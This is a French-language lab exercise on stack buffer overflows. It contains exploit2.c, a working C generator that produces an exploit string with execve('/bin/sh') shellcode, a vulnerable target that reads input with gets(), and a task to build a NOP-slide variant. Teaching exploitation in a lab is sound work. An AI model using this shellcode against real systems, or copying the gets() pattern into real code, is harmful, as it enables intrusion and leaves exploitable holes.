Buffer Overflow, 3ème partie

1. On part du programme exploit2.c :

```
/* exploit2.c : generate an exploit string
    and print it on standard ouput

    Parameters : exploit2 S B O
    S: stack address
    B: buffer size
    O: offset

    How to use :
        ( ./exploit2 0xffffd204 672 16 ; cat ) | ./vulnerable
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <error.h>

#define UERRMSG "Usage: \%s stackaddress [buffersize] [offset]"
#define DEFAULT_OFFSET            0
#define DEFAULT_BUFFER_SIZE         512

char shellcode[] = {
            0xeb, 0x1f, 0x5e, 0x89, 0x76, 0x08, 0x31, 0xc0,
            0x88, 0x46, 0x07, 0x89, 0x46, 0x0c, 0xb0, 0x0b,
            0x89, 0xf3, 0x8d, 0x4e, 0x08, 0x8d, 0x56, 0x0c,
            0xcd, 0x80, 0x31, 0xdb, 0x89, 0xd8, 0x40, 0xcd,
            0x80, 0xe8, 0xdc, 0xff, 0xff, 0xff, 0x2f, 0x62,
            0x69, 0x6e, 0x2f, 0x73, 0x68, 0x90, 0x90, 0x90,
    0x00 }; /* last byte is never copied */

int main(int argc, char *argv[]) {
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
    char *buff, *ptr, *s;
    unsigned long *addr_ptr, sp = 0, addr = 0;
    int i;

    if (argc > 1)
        sp = strtoll(argv[1],NULL,16);
    if (argc > 2)
        bsize  = atoi(argv[2]);
    if (argc > 3)
```

```
        offset = atoi(argv[3]);

    if (sp == 0) {
        error(1, 0, UERRMSG, argv[0]);
    }
    if (!(buff = malloc(bsize + 1))) {
        error(2, 12, "Can't allocate memory");
    }

    addr = sp - offset;
    ptr = buff;
    addr_ptr = (long *) ptr;
    for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;

    for (i = 0; i < strlen(shellcode)-1; i++)
        *(ptr++) = shellcode[i];

    buff[bsize] = '\0';
    printf("\%s", buff);
}
```

2. À partir d'exploit2.c, faire un programme exploit3.c qui produit un buffer qui a les propriétés suivantes :
   (a) au début, un NOP slide (succession de NOP) dans la première moitié du buffer,
   (b) au milieu, le shellcode,
   (c) à la fin, une répétitions de l'adresse de retour
3. Tester ce programme sur le programme vulnerable avec différentes adresses.

```
#include <stdio.h>

void entry(void) {
    char buffer[512];

    gets(buffer);
    return;
}

int main(void) {
    entry();
}
```